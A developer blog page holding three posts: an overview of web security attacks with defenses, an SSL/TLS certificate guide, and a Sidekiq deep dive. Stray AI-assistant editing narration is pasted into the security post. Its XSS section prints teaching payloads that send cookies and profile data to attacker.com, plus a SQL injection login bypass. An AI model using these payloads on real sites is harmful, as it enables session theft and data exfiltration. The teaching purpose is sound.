🛡️ Essential Web Security Attacks Every Developer Must Know

Web security is a critical concern for every developer. Understanding the various types of attacks and how to defend against them is essential for building secure applications and protecting users. In this post, we’ll explore some of the most common web security attacks, their types, real-world examples, and best practices to mitigate them. We’ll also touch on related security concepts like firewalls, VPNs, and proxy servers.


🎣 1. Phishing Attacks


Phishing is a social engineering attack where attackers trick users into revealing sensitive information (like passwords or credit card numbers) by pretending to be a trustworthy entity.

🧩 Types of Phishing Attacks

  • 📧 Email Phishing: Fake emails that appear to come from legitimate sources, often containing malicious links or attachments.
    Example: An email that looks like it’s from your bank, asking you to “verify your account” by clicking a link that leads to a fake login page.
  • 🎯 Spear Phishing: Targeted phishing aimed at specific individuals or organizations, often using personal information to appear more convincing.
    Example: An attacker sends a personalized email to a company executive, referencing a recent business deal.
  • 🐋 Whaling: Phishing attacks targeting high-profile individuals (e.g., executives).
    Example: A CEO receives a fake subpoena email that appears to be from a government agency.
  • 📱 Smishing & Vishing: Phishing via SMS (smishing) or voice calls (vishing).
    Example: A text message claims you’ve won a prize and asks you to click a link or call a number.

🛡️ Prevention:

  • Educate users about suspicious emails and links.
  • Implement email filtering and anti-phishing tools.
  • Use multi-factor authentication (MFA).
  • Never click on suspicious links or download attachments from unknown sources.
  • Always verify the sender’s email address and check for subtle misspellings.

🌐 2. Pharming


Pharming redirects users from legitimate websites to fraudulent ones, often by exploiting DNS vulnerabilities or compromising local hosts files.

Example:
A user types in their bank’s URL, but due to a compromised DNS server, they are redirected to a fake site that looks identical to the real one. When they log in, their credentials are stolen.

🛡️ Prevention:

  • Use DNSSEC to secure DNS infrastructure.
    DNSSEC stands for Domain Name System Security Extensions. It’s a set of cryptographic protocols used to authenticate data exchanged in the Domain Name System (DNS). Essentially, it adds a layer of security to DNS by verifying that the responses received are legitimate and haven’t been tampered with.
  • Keep systems and antivirus software updated.
  • Educate users to check URLs and use HTTPS.
  • Monitor DNS records for unauthorized changes.
  • Use browser plugins that warn about suspicious sites.

💣 3. Ransomware


Ransomware is malware that encrypts a user’s data and demands payment for decryption. While more common on desktops, web applications can be vectors for ransomware through malicious file uploads or vulnerabilities.

Example:
A user uploads a seemingly harmless file to a web app. The file contains ransomware that exploits a vulnerability, encrypting the server’s data and displaying a ransom note.

🛡️ Prevention:

  • Regularly back up data and store backups offline.
  • Keep software and dependencies updated.
  • Use strong endpoint protection and web application firewalls.
  • Restrict file upload types and scan uploads for malware.
  • Educate users not to download or open suspicious files.

🔄 4. Cross-Site Request Forgery (CSRF)


CSRF tricks authenticated users into submitting unwanted actions on a web application in which they’re logged in, without their consent.

Example:
A logged-in user visits a malicious website. The site contains a hidden form that submits a request to transfer money from the user’s bank account, using their active session.

🛡️ Prevention:

  • Use anti-CSRF tokens in forms (Rails, Django, and other frameworks provide built-in support).
  • Implement same-site cookies to restrict cross-origin requests.
  • Require re-authentication for sensitive actions.
  • Set the Referer header and validate it on the server.

I’ll add the XSS (Cross-Site Scripting) attack to your blog post. This is indeed a crucial web security attack that was missing. Let me add it in the appropriate section.
Now I need to update the numbering for all subsequent attacks since we added XSS as #7:
Let me check the current state of the file after my edit:
Read file: /Users/abhilash/cursor-blog-posts/web-security-attacks.md
I see there are still some numbering issues. Let me fix the MitM attack section:
Perfect! I’ve successfully added XSS (Cross-Site Scripting) to your web security attacks blog post. Here’s the XSS section I added:

🎯 5. Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by other users. These scripts can steal sensitive information, manipulate page content, or perform actions on behalf of the user.

🧩 Types of XSS Attacks

  • 🔄 Reflected XSS: Malicious script is reflected off a web server, typically through a URL parameter or form input.
  • Example: A search page displays user input without sanitization: <p>You searched for: <script>alert('XSS')</script></p>
  • 💾 Stored XSS: Malicious script is permanently stored on the target server (e.g., in a database, comment system).
  • Example: A user posts a comment containing <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
  • 🖥️ DOM-based XSS: The vulnerability exists in client-side code where JavaScript modifies the DOM environment.
  • Example: document.getElementById('welcome').innerHTML = 'Hello ' + location.hash.substring(1);

Example Attack:

<!-- Vulnerable comment display -->
<div class="comment">
  <%= raw comment.content %>  <!-- Rails: dangerous! -->
</div>

<!-- Malicious comment content -->
<script>
  fetch('/api/user/profile', {
    credentials: 'include'
  }).then(r => r.json()).then(data => {
    fetch('https://attacker.com/steal', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>

🛡️ Solution: Preventing XSS

🚨 Vulnerable code (Rails):

<%= raw user_input %>
<!-- or -->
<%= user_input.html_safe %>

✅ Secure code:

<%= user_input %>  <!-- Automatically escaped -->
<!-- or for intentional HTML -->
<%= sanitize(user_input, tags: %w[b i em strong]) %>

🛡️ Prevention:

  • Always escape/encode user input before displaying it.
  • Use Content Security Policy (CSP) headers to restrict script execution.
  • Validate and sanitize all user inputs on both client and server sides.
  • Use template engines that auto-escape by default.
  • Implement proper output encoding based on context (HTML, JavaScript, CSS, URL).
  • Never use innerHTML with user-controlled data; use textContent instead.

XSS is indeed a critical attack vector that every web developer should understand, as it’s one of the most common vulnerabilities found in web applications and can lead to serious security breaches including session hijacking, credential theft, and unauthorized actions on behalf of users.

🕵️‍♂️ 6. Session Hijacking


Session hijacking occurs when an attacker steals a user’s session token, allowing them to impersonate the user.

Example:
An attacker uses a packet sniffer on an unsecured Wi-Fi network to capture session cookies, then uses them to access the victim’s account.

🛡️ Prevention:

  • Use secure, HTTP-only, and same-site cookies.
  • Implement session expiration and regeneration after login.
  • Use HTTPS to encrypt all traffic.
  • Monitor for unusual session activity and force logout on suspicious behavior.

💉 7. SQL Injection

SQL Injection allows attackers to manipulate database queries by injecting malicious SQL code, potentially exposing or altering sensitive data.

Example:
A login form is vulnerable:

User.where("email = '#{params[:email]}' AND password = '#{params[:password]}'")

An attacker enters ' OR 1=1 -- as the email, bypassing authentication.

🛡️ Solution: Preventing SQL Injection in Ruby on Rails

🚨 Vulnerable code:

User.where("email = '#{params[:email]}'")

✅ Secure code (using parameterized queries):

User.where(email: params[:email])

Rails’ ActiveRecord automatically parameterizes queries when using hash syntax, preventing SQL injection.

🛡️ Prevention:

  • Always use parameterized queries or ORM methods.
  • Validate and sanitize user input.
  • Limit database permissions for the application user.
  • Regularly test your application with automated security scanners.

🎭 8. Masquerade Attacks


In a masquerade attack, an attacker pretends to be an authorized user to gain access to resources.

Example:
An attacker obtains a user’s credentials through phishing and logs in as that user, accessing sensitive data or performing unauthorized actions.

🛡️ Prevention:

  • Implement strong authentication (MFA, biometrics).
  • Use role-based access control (RBAC) and least privilege principles.
  • Monitor for unusual login patterns and alert on suspicious activity.
  • Log and audit all access to sensitive resources.

Here’s how I’ll update your blog post:

  1. Add new sections for:
  • Man-in-the-Middle (MitM) Attack
  • Password Attacks
  • Honeypots (as a security concept, not an attack, but will clarify)
  • Common Cyber Attacks on Companies (including APT, Denial of Service, etc.)

Below is the content I’ll add to your blog, and I’ll also update the file accordingly.

🕵️ 9. Man-in-the-Middle (MitM) Attack

A Man-in-the-Middle attack occurs when an attacker secretly intercepts and possibly alters the communication between two parties who believe they are directly communicating with each other.

Example:
An attacker on a public Wi-Fi network intercepts data sent between a user and a banking website, potentially stealing login credentials.

🛡️ Prevention:

  • Always use HTTPS/TLS for secure communication.
  • Avoid using public Wi-Fi for sensitive transactions.
  • Implement certificate pinning in mobile and web apps.
  • Educate users about the risks of unsecured networks.

🔑 10. Password Attacks

Password attacks involve attempts to obtain or guess a user’s password using various techniques.

🧩 Types of Password Attacks

  • Brute Force Attack: Systematically trying all possible password combinations.
  • Dictionary Attack: Trying common words and phrases as passwords.
  • Credential Stuffing: Using leaked username/password pairs from other breaches.
  • Keylogging: Capturing keystrokes to steal passwords.

🛡️ Prevention:

  • Enforce strong password policies and complexity requirements.
  • Implement account lockout after repeated failed attempts.
  • Use multi-factor authentication (MFA).
  • Monitor for suspicious login attempts.

🍯 11. Honeypots (Security Concept)

A honeypot is not an attack, but a security mechanism. It is a decoy system or resource set up to attract attackers and study their behavior.

Example:
A company deploys a fake database server to detect and analyze unauthorized access attempts.

🛡️ Usage:

  • Use honeypots to detect and analyze attack patterns.
  • Divert attackers away from real assets.
  • Gather intelligence to improve security posture.

🏢 Common Cyber Attacks Targeting Companies

🎯 Advanced Persistent Threats (APT)

APTs are prolonged and targeted cyberattacks where attackers gain unauthorized access and remain undetected for an extended period, often to steal sensitive data.

🌊 Denial of Service (DoS) & Distributed Denial of Service (DDoS)

Attackers overwhelm a system, server, or network with traffic, rendering it unavailable to legitimate users.

🦠 Malware Attacks

Malicious software (viruses, worms, trojans) is used to disrupt, damage, or gain unauthorized access to systems.

🕵️ Insider Threats

Attacks or data leaks caused by employees or trusted individuals within the organization.

🧑‍💻 Supply Chain Attacks

Attackers compromise a third-party vendor to gain access to a target company’s systems.

🛡️ Prevention:

  • Implement layered security and monitoring.
  • Regularly update and patch systems.
  • Conduct employee security awareness training.
  • Vet third-party vendors and monitor supply chain risks.
  • Use DDoS protection services and incident response plans.

🧰 Related Security Concepts

🔥 Firewall


A firewall monitors and controls incoming and outgoing network traffic based on security rules. It acts as a barrier between trusted and untrusted networks.

Example:
A web application firewall (WAF) blocks SQL injection attempts before they reach your application.

🕸️ VPN (Virtual Private Network


A VPN encrypts internet traffic and masks the user’s IP address, providing privacy and security, especially on public networks.

Example:
A developer uses a VPN to securely access company resources while working remotely from a coffee shop.

🪞 Proxy Server

A proxy server acts as an intermediary between users and the internet, providing anonymity, content filtering, and improved security.

Example:
A company uses a proxy server to block access to malicious websites and log employee internet usage.

Reverse – Proxy server

A reverse proxy is a server that sits between clients (like web browsers) and a web server, acting as an intermediary for all traffic. It receives requests from clients, potentially modifies them, then forwards them to the appropriate web server or application server. The reverse proxy then returns the server’s response to the client as if it originated from the proxy itself.

Key functions and benefits of a reverse proxy:
Load balancing:
Distributes client requests across multiple servers to prevent any single server from being overloaded.

Security:
Provides a layer of security by filtering requests, blocking malicious traffic, and hiding the true backend server architecture.

Caching:
Stores frequently accessed content locally, reducing server load and improving response times for clients.

SSL/TLS termination:
Decrypts secure connections (HTTPS) at the reverse proxy, reducing the load on the backend servers.

Content delivery optimization:
Improves performance by caching content and distributing it across multiple servers.

Public access point and DNS management:
Provides a single public-facing endpoint for accessing multiple backend servers.

In essence, a reverse proxy acts as a gateway, improving the security, performance, and reliability of web applications and services by handling client requests and directing them to the appropriate backend servers

👮🏻‍♂️ Web-security Vs 👨‍✈️Cyber Security

The terms web security and cyber security are related but have different scopes:

  • Web Security refers specifically to the protection of websites, web applications, and web services from attacks and vulnerabilities. It focuses on threats like XSS, CSRF, SQL injection, session hijacking, etc., that target web-based systems.
  • Cyber Security is a broader term that encompasses the protection of all digital systems, networks, devices, and data from cyber threats. This includes web security, but also covers areas like network security, endpoint security, cloud security, IoT security, and more.

Which is better?

  • If your content is focused on threats and defenses related to websites and web applications, web security is the more precise and appropriate term.
  • If you want to cover a wider range of digital threats (including but not limited to web), cyber security is the better, more comprehensive term.

🏗️ Best Practices for Web Developers

  • Keep all software and dependencies up to date.
  • Use HTTPS everywhere.
  • Implement least privilege access controls.
  • Regularly audit and test your application for vulnerabilities.
  • Educate users and team members about security threats.
  • Use security headers (Content Security Policy, X-Frame-Options, etc.).
  • Monitor logs and set up alerts for suspicious activity.
  • Back up data regularly and test your recovery process.

🔒 Conclusion:
Web security is an ongoing process. By understanding these attacks and implementing robust security measures, developers can significantly reduce the risk of breaches and protect their users.


Get ready to Defend your system. Enjoy Security! 🚀

🔐 SSL: The Security Foundation of the Modern Web

👋 Introduction

In today’s digital landscape, SSL (Secure Sockets Layer) and its successor TLS (Transport Layer Security) form the backbone of internet security. Every time you see that reassuring padlock icon in your browser’s address bar, you’re witnessing SSL/TLS in action. But what exactly is SSL, how does it work, and why has it become so crucial for every website owner? Let’s dive deep into the world of SSL certificates and explore how they’ve transformed the web.

⚙️ What is SSL and How Does It Work?

SSL (Secure Sockets Layer) is a cryptographic protocol designed to provide secure communication over a computer network. While SSL has been largely replaced by TLS (Transport Layer Security), the term “SSL” is still commonly used to refer to both protocols.

The SSL Handshake Process

When you visit a website with SSL enabled, a complex but lightning-fast process occurs:

  1. Client Hello: Your browser sends a “hello” message to the server, including supported encryption methods
  2. Server Hello: The server responds with its chosen encryption method and sends its SSL certificate
  3. Certificate Verification: Your browser verifies the certificate’s authenticity against trusted Certificate Authorities (CAs)
  4. Key Exchange: Both parties establish a shared secret key for encryption
  5. Secure Connection: All subsequent communication is encrypted using the established key

Encryption Types

SSL uses two types of encryption:

  • Symmetric Encryption: Fast encryption using the same key for both encryption and decryption
  • Asymmetric Encryption: Uses a pair of keys (public and private) for initial handshake and key exchange

🌐 How SSL Transformed the Web

Before SSL: The Wild West of the Internet

In the early days of the web, all data transmitted between browsers and servers was sent in plain text. This meant:

  • No Privacy: Anyone intercepting traffic could read sensitive information
  • No Integrity: Data could be modified without detection
  • No Authentication: No way to verify you were communicating with the intended server

The SSL Revolution

SSL implementation brought three fundamental security principles to the web:

  1. Confidentiality: Data encryption ensures only intended recipients can read the information
  2. Integrity: Cryptographic hashes detect any tampering with data during transmission
  3. Authentication: Digital certificates verify the identity of websites

Impact on E-commerce and Online Services

SSL made modern e-commerce possible by:

  • Enabling secure credit card transactions
  • Building user trust in online services
  • Protecting sensitive personal information
  • Facilitating the growth of online banking and financial services

📜 SSL Certificates: Your Digital Identity Card

An SSL certificate is a digital document that:

  • Proves the identity of a website
  • Contains the website’s public key
  • Is digitally signed by a trusted Certificate Authority (CA)

Types of SSL Certificates

1. Domain Validated (DV) Certificates

  • Validation: Only verifies domain ownership
  • Trust Level: Basic
  • Use Case: Personal websites, blogs
  • Issuance Time: Minutes to hours

2. Organization Validated (OV) Certificates

  • Validation: Verifies domain ownership and organization details
  • Trust Level: Medium
  • Use Case: Business websites
  • Issuance Time: 1-3 days

3. Extended Validation (EV) Certificates

  • Validation: Rigorous verification of organization’s legal existence
  • Trust Level: Highest
  • Use Case: E-commerce, banking, high-security sites
  • Issuance Time: 1-2 weeks

Certificate Coverage Options

  • Single Domain: Protects one specific domain (e.g., http://www.example.com)
  • Multi-Domain (SAN): Protects multiple different domains
  • Wildcard: Protects a domain and all its subdomains (e.g., *.example.com)

🛠️ How to Get and Implement SSL Certificates

Step 1: Choose Your SSL Provider

Select from various Certificate Authorities based on your needs:

  • Free Options: Let’s Encrypt, SSL.com Free
  • Commercial Providers: DigiCert, GlobalSign, Sectigo, GoDaddy

Step 2: Generate a Certificate Signing Request (CSR)

# Example using OpenSSL
openssl req -new -newkey rsa:2048 -nodes -keyout yourdomain.key -out yourdomain.csr

Step 3: Validate Domain Ownership

Certificate Authorities typically offer three validation methods:

  • Email Validation: Receive validation email at admin@yourdomain.com
  • DNS Validation: Add a specific TXT record to your DNS
  • HTTP File Upload: Upload a verification file to your website

Step 4: Install the Certificate

Installation varies by server type:

Apache

<VirtualHost *:443>
    ServerName www.yourdomain.com
    SSLEngine on
    SSLCertificateFile /path/to/yourdomain.crt
    SSLCertificateKeyFile /path/to/yourdomain.key
    SSLCertificateChainFile /path/to/intermediate.crt
</VirtualHost>

Nginx

server {
    listen 443 ssl;
    server_name www.yourdomain.com;

    ssl_certificate /path/to/yourdomain.crt;
    ssl_certificate_key /path/to/yourdomain.key;
    ssl_protocols TLSv1.2 TLSv1.3;
}

Step 5: Configure HTTP to HTTPS Redirect

# Apache .htaccess
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

⚠️ The Cost of Not Having SSL

SEO Impact

  • Google Ranking Factor: HTTPS is a confirmed ranking signal
  • Browser Warnings: Modern browsers flag non-HTTPS sites as “Not Secure”
  • User Trust: Visitors are likely to leave unsecured sites

Security Risks

  • Data Interception: Sensitive information transmitted in plain text
  • Man-in-the-Middle Attacks: Attackers can intercept and modify communications
  • Session Hijacking: User sessions can be stolen on unsecured networks

Business Consequences

  • Lost Revenue: Users abandon transactions on insecure sites
  • Compliance Issues: Many regulations require encryption (GDPR, PCI DSS)
  • Reputation Damage: Security breaches can destroy customer trust

💰 SSL Providers: Free vs. Paid Services

Free SSL Providers

Let’s Encrypt

  • Cost: Completely free
  • Validity: 90 days (auto-renewable)
  • Support: Domain and wildcard certificates
  • Automation: Excellent with tools like Certbot
  • Limitation: DV certificates only
# Install Let's Encrypt certificate with Certbot
sudo certbot --apache -d yourdomain.com -d www.yourdomain.com

SSL.com Free

  • Cost: Free for basic DV certificates
  • Validity: 90 days
  • Features: Basic domain validation

Cloudflare SSL

  • Cost: Free with Cloudflare service
  • Features: Universal SSL for all domains
  • Limitation: Requires using Cloudflare as CDN/proxy

Commercial SSL Providers

DigiCert

  • Reputation: Industry leader with highest trust
  • Features: EV, OV, DV certificates with extensive support
  • Price Range: $175-$595+ annually
  • Benefits: 24/7 support, warranty, advanced features

GlobalSign

  • Strengths: Enterprise-focused solutions
  • Features: Complete certificate lifecycle management
  • Price Range: $149-$649+ annually

Sectigo (formerly Comodo)

  • Position: Largest commercial CA by volume
  • Features: Wide range of certificate types
  • Price Range: $89-$299+ annually

GoDaddy

  • Advantage: Integration with hosting services
  • Features: Easy installation for beginners
  • Price Range: $69-$199+ annually

Cloud Provider SSL Solutions

AWS Certificate Manager (ACM)

  • Cost: Free for AWS services
  • Integration: Seamless with CloudFront, Load Balancers, API Gateway
  • Automation: Automatic renewal and deployment
  • Limitation: Only works within AWS ecosystem
# Request certificate via AWS CLI
aws acm request-certificate \
    --domain-name yourdomain.com \
    --subject-alternative-names www.yourdomain.com \
    --validation-method DNS

Google Trust Services

  • Integration: Works with Google Cloud Platform
  • Features: Managed certificates for Google Cloud Load Balancer
  • Cost: Free for Google Cloud services
  • Automation: Automatic provisioning and renewal

Azure SSL

  • Service: App Service Certificates
  • Integration: Native Azure integration
  • Features: Wildcard and standard certificates available

✅ Best Practices for SSL Implementation

Security Configuration

  1. Use Strong Ciphers: Disable weak encryption algorithms
  2. Enable HSTS: Force HTTPS connections
  3. Configure Perfect Forward Secrecy: Protect past communications
  4. Regular Updates: Keep SSL/TLS libraries updated

Monitoring and Maintenance

  • Certificate Expiration Monitoring: Set up alerts before expiration
  • Security Scanning: Regular vulnerability assessments
  • Performance Monitoring: Track SSL handshake performance

Common Pitfalls to Avoid

  • Mixed Content: Ensure all resources load over HTTPS
  • Certificate Chain Issues: Include intermediate certificates
  • Weak Configurations: Avoid outdated protocols and ciphers

🚀 The Future of SSL/TLS

TLS 1.3 Adoption

  • Faster handshakes
  • Improved security
  • Better performance

Certificate Transparency

  • Public logs of all certificates
  • Enhanced security monitoring
  • Improved detection of unauthorized certificates

Automated Certificate Management

  • ACME protocol standardization
  • Integration with CI/CD pipelines
  • Infrastructure as Code compatibility

🎯 Conclusion

SSL/TLS has evolved from a nice-to-have security feature to an absolute necessity for any serious web presence. Whether you choose a free solution like Let’s Encrypt for basic protection or invest in enterprise-grade certificates from providers like DigiCert, implementing SSL is no longer optional—it’s essential.

The transformation from an insecure web to today’s encrypted-by-default internet represents one of the most significant security improvements in computing history. As we move forward, SSL/TLS will continue to evolve, becoming faster, more secure, and easier to implement.

For website owners, the message is clear: implement SSL today, keep your certificates updated, and follow security best practices. Your users’ trust and your website’s success depend on it.


Remember: Security is not a destination but a journey. Stay informed about the latest SSL/TLS developments and regularly review your security configurations to ensure optimal protection for your users and your business.

Happy Web coding! 🚀

Sidekiq 🦿 Deep Dive: The Ruby Background Job 👷🏽‍♂️ Processor That Powers Modern Rails Applications

Background job processing is a cornerstone of modern web applications, and in the Ruby ecosystem, one library has dominated this space for over a decade: Sidekiq. Whether you’re building a simple Rails app or a complex distributed system, chances are you’ve encountered or will encounter Sidekiq. But how does it actually work under the hood, and why has it remained the go-to choice for Ruby developers?

🔍 What is Sidekiq?

Sidekiq is a Ruby background job processor that allows you to offload time-consuming tasks from your web application’s request-response cycle. Instead of making users wait for slow operations like sending emails, processing images, or calling external APIs, you can queue these tasks to be executed asynchronously in the background.

# Instead of this blocking the web request
UserMailer.welcome_email(user).deliver_now

# You can do this
UserMailer.welcome_email(user).deliver_later

❤️ Why Ruby Developers Love Sidekiq

Battle-Tested Reliability

With over 10 years in production and widespread adoption across the Ruby community, Sidekiq has proven its reliability in handling millions of jobs across thousands of applications.

🧵 Efficient Threading Model

Unlike many other Ruby job processors that use a forking model, Sidekiq uses threads. This makes it incredibly memory-efficient since threads share the same memory space, allowing you to process multiple jobs concurrently with minimal memory overhead.

🚄 Redis-Powered Performance

Sidekiq leverages Redis’s lightning-fast data structures, using simple list operations (BRPOP, LPUSH) that provide constant-time complexity for job queuing and dequeuing.

🔧 Simple Integration

For Rails applications, integration is often as simple as adding the gem and configuring a few settings. Sidekiq works seamlessly with ActiveJob, Rails’ job interface.

🌐 Rich Ecosystem

The library comes with a web UI for monitoring jobs, extensive configuration options, and a thriving ecosystem of plugins and extensions.

🔄 Alternatives to Sidekiq

While Sidekiq dominates the Ruby job processing landscape, several alternatives exist:

  • Resque: The original Redis-backed job processor for Ruby, uses a forking model
  • DelayedJob: Database-backed job processor, simpler but less performant
  • Que: PostgreSQL-based job processor using advisory locks
  • GoodJob: Rails-native job processor that stores jobs in PostgreSQL
  • Solid Queue: Rails 8′s new default job processor (though Sidekiq remains popular)

However, Sidekiq’s combination of performance, reliability, and ecosystem support keeps it as the preferred choice for most production applications.

📅 Is Sidekiq Getting Old?

Far from it! Sidekiq continues to evolve actively:

  • Regular Updates: The library receives frequent updates and improvements
  • Rails 8 Compatibility: Sidekiq works perfectly with the latest Rails versions
  • Modern Ruby Support: Supports Ruby 3.x features and performance improvements
  • Active Community: Strong maintainer support and community contributions

The core design principles that made Sidekiq successful (threading, Redis, simplicity) remain as relevant today as they were a decade ago.

⚙️ How Sidekiq Actually Works

Let’s dive into the technical architecture, drawing from Dan Svetlov’s excellent internals analysis.

🚀 The Boot Process

  1. CLI Initialization: Sidekiq starts via bin/sidekiq, which creates a Sidekiq::CLI instance
  2. Configuration Loading: Parses YAML config files and command-line arguments
  3. Application Loading: Requires your Rails application or specified Ruby files
  4. Signal Handling: Sets up handlers for SIGTERM, SIGINT, SIGTTIN, and SIGTSTP

🏗️ The Core Architecture

# Simplified Sidekiq architecture
Manager
├── Processor Threads (default: RAILS_MAX_THREADS)
├── Poller Thread (handles scheduled/retry jobs)
└── Fetcher (BasicFetch - pulls jobs from Redis)

🔄 Job Processing Lifecycle

  1. Job Enqueueing: Jobs are pushed to Redis lists using LPUSH
  2. Job Fetching: Worker processes use BRPOP to atomically fetch jobs
  3. Execution: Each job runs in its own thread within a processor
  4. Completion: Successful jobs are simply removed; failed jobs enter retry logic

The Threading Magic

Here’s the fascinating part: Sidekiq uses a Manager class that spawns multiple Processor threads:

# Conceptual representation
@workers = @concurrency.times.map do
  Processor.new(self, &method(:processor_died))
end

Each processor thread runs an infinite loop, constantly fetching and executing jobs:

def start
  @thread = safe_thread("processor", &method(:run))
end

private

def run
  while !@done
    process_one
  end
rescue Sidekiq::Shutdown
  # Graceful shutdown
end

🧵 Ruby’s Threading Reality: Debunking the Myth

There’s a common misconception that “Ruby doesn’t support threads.” This isn’t accurate. Ruby absolutely supports threads, but it has an important limitation called the Global Interpreter Lock (GIL).

🔒 What the GIL Means:

  • Only one Ruby thread can execute Ruby code at a time
  • I/O operations release the GIL, allowing other threads to run
  • Most background jobs involve I/O: database queries, API calls, file operations

This makes Sidekiq’s threading model perfect for typical background jobs:

# This job releases the GIL during I/O operations
class EmailJob < ApplicationJob
  def perform(user_id)
    user = User.find(user_id)        # Database I/O - GIL released
    email_service.send_email(user)   # HTTP request - GIL released
    log_event(user)                  # File/DB I/O - GIL released
  end
end

Multiple EmailJob instances can run concurrently because they spend most of their time in I/O operations where the GIL is released.

🗄️ Is Redis Mandatory?

Yes, Redis is absolutely mandatory for Sidekiq. Redis serves as:

  1. Job Storage: All job data is stored in Redis lists and sorted sets
  2. Queue Management: Different queues are implemented as separate Redis lists
  3. Scheduling: Future and retry jobs use Redis sorted sets with timestamps
  4. Statistics: Job metrics and monitoring data live in Redis

The tight Redis integration is actually one of Sidekiq’s strengths:

# Job queuing uses simple Redis operations
redis.lpush("queue:default", job_json)

# Job fetching is atomic
job = redis.brpop("queue:default", timeout: 2)

🚀 Sidekiq in a Rails 8 Application

Here’s how Sidekiq integrates beautifully with a modern Rails 8 application:

📦 1. Installation and Setup

# Gemfile
gem 'sidekiq'

# config/application.rb
config.active_job.queue_adapter = :sidekiq

⚙️ 2. Configuration

# config/initializers/sidekiq.rb
Sidekiq.configure_server do |config|
  config.redis = { url: ENV['REDIS_URL'] }
  config.concurrency = 5
end

Sidekiq.configure_client do |config|
  config.redis = { url: ENV['REDIS_URL'] }
end

💼 3. Creating Jobs

# app/jobs/user_onboarding_job.rb
class UserOnboardingJob < ApplicationJob
  queue_as :default

  def perform(user_id)
    user = User.find(user_id)
    UserMailer.welcome_email(user).deliver_now
    user.update!(onboarded_at: Time.current)
  end
end

# Enqueue the job
UserOnboardingJob.perform_later(user.id)

🎯 4. Advanced Features

# Scheduled jobs
UserOnboardingJob.set(wait: 1.hour).perform_later(user.id)

# Job priorities with different queues
class UrgentJob < ApplicationJob
  queue_as :high_priority
end

# Sidekiq configuration for queue priorities
# config/sidekiq.yml
:queues:
  - [high_priority, 3]
  - [default, 2]  
  - [low_priority, 1]

📊 5. Monitoring and Debugging

Sidekiq provides a fantastic web UI accessible via:

# config/routes.rb
require 'sidekiq/web'
mount Sidekiq::Web => '/sidekiq'

🏭 Production Considerations

🛑 Graceful Shutdown

Sidekiq handles graceful shutdowns elegantly. When receiving SIGTERM (common in Kubernetes deployments):

  1. Stops accepting new jobs
  2. Allows current jobs to complete (with timeout)
  3. Requeues any unfinished jobs back to Redis
  4. Shuts down cleanly

⚠️ Job Loss Scenarios

While Sidekiq provides “at least once” delivery semantics, jobs can be lost in extreme scenarios:

  • Process killed with SIGKILL (no graceful shutdown)
  • Redis memory exhaustion during job requeuing
  • Redis server failures with certain persistence configurations

For mission-critical jobs, consider:

  • Implementing idempotency
  • Adding liveness checks via cron jobs
  • Using Sidekiq Pro for guaranteed job delivery

🎯 Conclusion

Sidekiq remains the gold standard for background job processing in Ruby applications. Its efficient threading model, Redis-powered performance, and seamless Rails integration make it an excellent choice for modern applications. The library’s maturity doesn’t mean stagnation – it represents battle-tested reliability with continuous evolution.

Whether you’re building a simple Rails 8 application or a complex distributed system, Sidekiq provides the robust foundation you need for handling background work efficiently and reliably.


Want to dive deeper into Sidekiq’s internals? Check out Dan Svetlov’s comprehensive technical analysis that inspired this post.

Questions 🧐

1. Is Sidekiq heavy?

No, Sidekiq is actually quite lightweight! Here’s why:

Memory Efficiency: Sidekiq uses a threading model instead of forking processes. This is crucial because:

  • Threads share the same memory space
  • Multiple jobs can run concurrently with minimal memory overhead
  • Much more memory-efficient than alternatives like Resque that fork processes

Performance: The blog post mentions that Sidekiq leverages Redis’s lightning-fast operations using simple list operations (BRPOP, LPUSH) with constant-time complexity.

Resource Usage: The default concurrency is typically set to RAILS_MAX_THREADS (usually 5), meaning you get good parallelism without overwhelming your system.

2. Sidekiq vs ActiveJob Relationship

Sidekiq is NOT an alternative to ActiveJob – they work together beautifully:

ActiveJob is Rails’ interface/abstraction layer for background jobs. It provides:

  • A common API for defining jobs
  • Queue adapters for different backends
  • Built-in features like retries, scheduling, etc.

Sidekiq is a queue adapter/backend that actually processes the jobs. The relationship works like this:

# ActiveJob provides the interface
class UserOnboardingJob < ApplicationJob
  queue_as :default

  def perform(user_id)
    # Your job logic here
  end
end

# Sidekiq acts as the backend processor
# config/application.rb
config.active_job.queue_adapter = :sidekiq

Think of it this way:

  • ActiveJob = The standardized job interface (like ActiveRecord for databases)
  • Sidekiq = The actual job processing engine (like PostgreSQL for databases)

When you write UserOnboardingJob.perform_later(user.id), ActiveJob translates this into Sidekiq’s format and queues it in Redis, then Sidekiq processes it.

Other queue adapters you could use with ActiveJob include:

  • :delayed_job
  • :resque
  • :solid_queue (Rails 8’s new default)
  • :que

But Sidekiq remains the most popular choice due to its performance and reliability!


🎯 Why Solid Queue (Rails 8) Was Created

1. Zero External Dependencies

Sidekiq requires Redis, which means:

  • Additional infrastructure to set up and maintain
  • Extra cost on hosting platforms (Heroku Redis add-on costs money)
  • More complexity in deployment and monitoring

Solid Queue uses your existing PostgreSQL database, so:

  • No additional infrastructure needed
  • Every Rails app already has a database
  • Simpler deployment and maintenance
2. Rails-Native Philosophy

The Rails team wanted a solution that’s:

  • Built specifically for Rails by the Rails team
  • Follows Rails conventions and patterns
  • Integrates seamlessly without external dependencies
  • Ships “out of the box” with Rails
3. Simplicity for Smaller Apps

For many Rails applications:

  • Setting up Redis just for background jobs is overkill
  • The job volume doesn’t require Redis-level performance
  • Database-backed jobs are perfectly sufficient
4. Cost and Hosting Considerations
  • Heroku: Adding Redis costs $5-15+ per month extra
  • Smaller projects: May not justify the additional infrastructure cost
  • Development: Easier local development without Redis setup
5. Different Performance Trade-offs

While Sidekiq is faster, Solid Queue offers:

  • ACID guarantees from PostgreSQL
  • Better durability (jobs survive Redis restarts/crashes)
  • Simpler backup/restore (part of your database backup)

🤔 When to Choose Which?

Choose Solid Queue when:
  • Building smaller to medium Rails apps
  • Want to minimize infrastructure complexity
  • Don’t need extremely high job throughput
  • Cost is a consideration
  • Want Rails-native solution
Choose Sidekiq when:
  • High job volume/throughput requirements
  • Already using Redis in your stack
  • Need advanced features (Sidekiq Pro/Enterprise)
  • Want the most battle-tested solution
  • Performance is critical

📊 Real-World Impact

# Solid Queue - No Redis needed
# Uses your existing PostgreSQL database
config.active_job.queue_adapter = :solid_queue

# Sidekiq - Requires Redis
